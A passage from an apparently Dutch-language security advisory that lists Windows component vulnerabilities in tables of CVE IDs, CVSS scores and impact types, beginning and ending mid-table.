\n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| 